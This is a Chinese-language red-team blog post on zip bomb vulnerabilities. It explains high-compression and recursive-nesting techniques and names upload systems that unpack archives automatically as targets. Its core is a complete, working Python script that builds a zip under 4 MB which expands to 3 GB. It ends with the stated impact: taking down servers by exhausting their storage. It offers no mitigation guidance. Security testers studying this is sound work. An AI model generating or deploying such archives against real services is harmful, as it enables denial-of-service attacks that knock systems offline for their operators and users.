Featured image of post 【红队】ZIP炸弹漏洞

【红队】ZIP炸弹漏洞

文章共1101字

前言

压缩包炸弹(又称解压炸弹)是利用压缩算法的重复数据高效压缩特性,以极小体积在解压时产生海量数据,从而耗尽系统 CPU、内存、磁盘等资源,达成拒绝服务(DoS)或绕过安全扫描的恶意文件。以下从原理与业务场景两方面展开说明。

核心原理

  • 超高压缩比构造:利用 DEFLATE、BZIP2 等算法对高度重复数据(如全零、相同字符)的极致压缩能力,生成 “扁平型” 炸弹。例如 1GB 全零文件可压缩至数 KB,解压时瞬间膨胀,直接填满磁盘。典型案例如 42.zip,42KB 压缩包解压后达 4.5PB,依赖多层嵌套与高压缩比结合实现。
  • 递归嵌套结构:采用 “压缩包套压缩包” 的多层嵌套设计,每层包含多个同级压缩包副本,解压时触发递归膨胀。如 42.zip 为 5 层嵌套,每层 16 个副本,最终生成超百万个**
  • 大文件,总容量指数级增长。
  • 资源耗尽机制:解压过程中,CPU 需处理海量数据解码,内存暂存解压流,磁盘写入膨胀数据,任一环节超限即导致系统卡顿、崩溃或服务不可用。同时可瘫痪依赖解压扫描的杀毒软件,为后续恶意代码入侵创造条件。

业务场景

业务自动解压:上传后系统自动解压压缩包(如云存储的解压预览、OA 的附件解压分发、电商的商品素材解压存储)

利用方法

压缩包炸弹生成脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import zipfile
import os


def create_zip_bomb(zip_filename, target_uncompressed_size_gb, chunk_size_mb=10):
    """
    创建压缩包炸弹(修复ZIP64支持,适配大文件写入)
    :param zip_filename: 输出的压缩包文件名
    :param target_uncompressed_size_gb: 解压后的目标大小(GB)
    :param chunk_size_mb: 每次写入的块大小(MB),避免内存溢出
    """
    # 单位转换:GB -> MB -> Bytes
    target_size_bytes = target_uncompressed_size_gb * 1024 * 1024 * 1024
    chunk_size_bytes = chunk_size_mb * 1024 * 1024

    # 生成全零数据块(压缩算法对重复数据压缩比极高)
    zero_chunk = b'\x00' * chunk_size_bytes

    # 关键修复:启用ZIP64扩展,支持大文件写入
    with zipfile.ZipFile(
        zip_filename,
        'w',
        compression=zipfile.ZIP_DEFLATED,
        compresslevel=9,
        allowZip64=True  # 启用ZIP64,支持大于4GB的文件(3GB也需要这个参数)
    ) as zf:
        # 向压缩包中写入一个名为large_file.bin的文件
        with zf.open('large_file.bin', 'w', force_zip64=True) as f:  # 强制使用ZIP64
            written_bytes = 0
            # 分块写入,直到达到目标大小
            while written_bytes < target_size_bytes:
                # 最后一块可能不足chunk_size,避免超出目标大小
                remaining = target_size_bytes - written_bytes
                write_chunk = zero_chunk if remaining >= chunk_size_bytes else b'\x00' * remaining
                f.write(write_chunk)
                written_bytes += len(write_chunk)
                # 打印进度(可选)
                progress = (written_bytes / target_size_bytes) * 100
                print(f"写入进度: {progress:.2f}%", end='\r')

    # 输出结果信息
    zip_size_mb = os.path.getsize(zip_filename) / (1024 * 1024)
    print(f"\n压缩包生成完成!")
    print(f"压缩包文件名: {zip_filename}")
    print(f"压缩包大小: {zip_size_mb:.2f} MB")
    print(f"解压后大小: {target_uncompressed_size_gb} GB")


if __name__ == "__main__":
    # 生成解压后3GB、压缩包小于3MB的炸弹
    create_zip_bomb("zip_bomb_3gb.zip", target_uncompressed_size_gb=3)

image.png
可以发现压缩包大小不超过4m,而解压后却能达到3g
image.png

影响

若在上传文件时,系统后端设置了自动解压,则可耗尽服务器存储资源造成服务宕机

站点已运行计算中...